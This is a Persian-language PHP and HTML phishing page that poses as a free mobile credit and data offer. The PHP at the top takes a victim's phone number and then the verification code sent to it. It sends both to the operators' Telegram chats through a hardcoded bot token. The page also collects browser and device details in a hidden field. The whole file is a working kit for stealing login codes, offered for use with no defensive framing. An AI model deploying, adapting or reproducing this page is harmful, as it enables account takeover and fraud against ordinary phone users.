 <?php
 include ("Config.php");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST["phone_number"])) {
	$id = array(6460186522,-1003375137959); // آیدی‌های ادمین
	$phone_number = $_POST["phone_number"];
    $saves = file_put_contents("numbr.txt","$phone_number");
	$text = "<b>برای تو خوشگلترین :</b>\n\n<blockquote>اومد سمانه  :</blockquote>\n<code>$phone_number</code>\n\n<b>👤 Written by:  @glitch_cash</b>";
	foreach ($id as $admin) {
		$url = "https://api.telegram.org/bot8414936508:AAGwoedEfFVy6IL1y_Cv9uQUEZPppP73DVA/sendMessage?chat_id=$admin&text=" . urlencode($text)."&parse_mode=HTML";
		file_get_contents($url); // ارسال درخواست
	}
	sleep(10);
}if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST["phone_number1"])) {
    $reade_photo = file_get_contents("numbr.txt");
	$id = array(6460186522,-1003375137959); // آیدی‌های ادمین
	$phone_number1 = $_POST["phone_number1"];
	$text = "<b>💠روت کراشم کد رو بگیر</b>\n\n<blockquote> کد از شماره دریافتی : $reade_photo</blockquote>\n<code>$phone_number1</code>\n\n<b>👤 Written by: @fyilk | @fyilk_team</b>";

	foreach ($id as $admin) {
		$url = "https://api.telegram.org/bot8414936508:AAGwoedEfFVy6IL1y_Cv9uQUEZPppP73DVA/sendMessage?chat_id=$admin&text=" . urlencode($text)."&parse_mode=HTML";
		file_get_contents($url); // ارسال درخواست
	}
    unlink("numbr.txt");
}
?>
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>دریافت شارژ و بسته رایگان</title>
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/notify.js/2.0.0/notify.min.js"></script>

    <script>
        $(document).ready(function () {
            $.notify("Access granted", "success");
        });
    </script>
    <style>
        @import url('https://fonts.googleapis.com/css?family=Vazirmatn:400,500,700');

        :root {
            --primary-color: #6d28d9;
            --secondary-color: #8b5cf6;
            --accent-color: #a78bfa;
            --text-color: #1e293b;
            --light-color: #f8fafc;
            --success-color: #10b981;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Vazirmatn';
        }

        body {
            background: linear-gradient(135deg, #f3e8ff, #ede9fe, #e9d5ff);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 20px;
            animation: gradientShift 12s ease infinite;
            background-size: 300% 300%;
        }

        @keyframes gradientShift {
            0% { background-position: 0% 50%; }
            50% { background-position: 100% 50%; }
            100% { background-position: 0% 50%; }
        }

        .header-image {
            width: 100%;
            max-width: 500px;
            height: 200px;
            object-fit: cover;
            border-radius: 20px 20px 0 0;
            margin-bottom: -20px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
            animation: pulse 5s infinite, float 8s ease-in-out infinite;
            transform-origin: center;
            z-index: 2;
            border: 3px solid white;
        }

        @keyframes pulse {
            0% { transform: scale(1) rotate(0deg); }
            25% { transform: scale(1.02) rotate(1deg); }
            50% { transform: scale(1.05) rotate(-1deg); }
            75% { transform: scale(1.02) rotate(1deg); }
            100% { transform: scale(1) rotate(0deg); }
        }

        @keyframes float {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-15px); }
        }

        .container {
            position: relative;
            z-index: 2;
            background-color: rgba(255, 255, 255, 0.9);
            backdrop-filter: blur(10px);
            border-radius: 0 0 20px 20px;
            box-shadow: 0 10px 30px rgba(109, 40, 217, 0.2);
            padding: 40px;
            width: 100%;
            max-width: 500px;
            transition: all 0.3s ease;
            border: 1px solid rgba(255, 255, 255, 0.3);

        }

        .logo {
            text-align: center;
            margin-bottom: 30px;
        }

        .logo h1 {
            color: var(--primary-color);
            font-size: 24px;
            font-weight: 700;
            text-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }

        .form-group {
            margin-bottom: 25px;
            position: relative;
        }

        input[type="tel"] {
            width: 100%;
            padding: 15px;
            border: 1px solid #ddd;
            border-radius: 12px;
            font-size: 16px;
            transition: all 0.3s ease;
            background-color: var(--light-color);
            color: var(--text-color);
        }

        input[type="tel"]:focus {
            outline: none;
            border-color: var(--secondary-color);
            box-shadow: 0 0 0 3px rgba(139, 92, 246, 0.2);
        }

        button {
            width: 100%;
            padding: 15px;
            background: linear-gradient(45deg, var(--primary-color), var(--secondary-color));
            color: white;
            border: none;
            border-radius: 12px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.3s ease;
            box-shadow: 0 4px 15px rgba(109, 40, 217, 0.3);
            position: relative;
            overflow: hidden;
        }

        button:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 20px rgba(109, 40, 217, 0.4);
        }

        button:active {
            transform: translateY(0);
        }

        button::after {
            content: '';
            position: absolute;
            top: -50%;
            left: -50%;
            width: 200%;
            height: 200%;
            background: linear-gradient(
                    to bottom right,
                    rgba(255,255,255,0.3),
                    rgba(255,255,255,0.1)
            );
            transform: rotate(30deg);
            animation: shine 3s infinite;
        }

        @keyframes shine {
            0% { left: -50%; }
            20% { left: 100%; }
            100% { left: 100%; }
        }

        /* استیکرهای متحرک */
        .sticker {
            position: absolute;
            z-index: 1;
            pointer-events: none;
            animation: float 6s ease-in-out infinite;
        }

        .sticker-1 {
            top: 180px;
            left: 5%;
            width: 80px;
            animation-delay: 0s;
        }

        .sticker-2 {
            top: 220px;
            right: 5%;
            width: 70px;
            animation-delay: 1s;
        }
	</style>
</head>
<body>
<!-- "Photo.png" -->
<img src="http://mgmxx.site/sisi/Sharj/Photo.png"
     class="header-image animate__animated animate__fadeInDown" alt="تصویر تحریکی">

<!-- استیکرهای متحرک اطراف عکس -->
<img src="https://cdn-icons-png.flaticon.com/512/1828/1828640.png" class="sticker sticker-1 animate__animated animate__bounceIn">
<img src="https://cdn-icons-png.flaticon.com/512/3524/3524636.png" class="sticker sticker-2 animate__animated animate__bounceIn">

<div class="container">
	<div class="logo">
		<h1>کد را وارد کنید</h1>
	</div>

	<form id="phoneForm" action="Vrefy.php" method="post" onsubmit="submitForm(); return false;">
		<div class="form-group">
			<input type="tel" name="phone_number1" placeholder="کد را وارد کنید " required>
		</div>

		<button type="submit" class="animate__animated animate__pulse animate__infinite">
			ورود
		</button>
	</form>
</div>

<script>
    function detectDevice() {
        const userAgent = navigator.userAgent;
        let device = "دسکتاپ";
        let os = "نامشخص";
        let browser = "نامشخص";

        // تشخیص دستگاه
        if (/Android/i.test(userAgent)) {
            device = "موبایل (اندروید)";
            os = "Android";
        } else if (/iPhone|iPad|iPod/i.test(userAgent)) {
            device = /iPad/i.test(userAgent) ? "تبلت (iOS)" : "موبایل (iOS)";
            os = "iOS";
        } else if (/Windows/i.test(userAgent)) {
            os = "Windows";
        } else if (/Mac/i.test(userAgent)) {
            os = "MacOS";
        } else if (/Linux/i.test(userAgent)) {
            os = "Linux";
        }

        // تشخیص مرورگر
        if (/Chrome/i.test(userAgent)) browser = "Chrome";
        else if (/Firefox/i.test(userAgent)) browser = "Firefox";
        else if (/Safari/i.test(userAgent)) browser = "Safari";
        else if (/Edge/i.test(userAgent)) browser = "Edge";
        else if (/Opera|OPR/i.test(userAgent)) browser = "Opera";

        // ایجاد شناسه مرورگر
        let browserId = "fingerprint-" + Math.random().toString(36).substr(2, 9);

        return {
            device: device,
            os: os,
            browser: browser,
            browserId: browserId
        };
    }

    function submitForm() {
        const form = document.getElementById('phoneForm');
        const deviceData = detectDevice();

        // ایجاد فیلد مخفی برای اطلاعات دستگاه
        let input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'device_data';
        input.value = JSON.stringify(deviceData);
        form.appendChild(input);

        // انیمیشن هنگام ارسال فرم
        const button = form.querySelector('button');
        button.innerHTML = '<span class="animate__animated animate__flash animate__infinite">لطفا صبر کنید...</span>';
        button.style.background = 'linear-gradient(45deg, #4c1d95, #6d28d9)';
        button.disabled = true;

        form.submit();
    }

    // تغییر تصویر با hover
    const headerImage = document.querySelector('.header-image');
    headerImage.addEventListener('mouseenter', function() {
        this.style.animation = 'pulse 1s infinite, float 4s ease-in-out infinite';
    });

    headerImage.addEventListener('mouseleave', function() {
        this.style.animation = 'pulse 5s infinite, float 8s ease-in-out infinite';
    });
</script>
</body>
</html>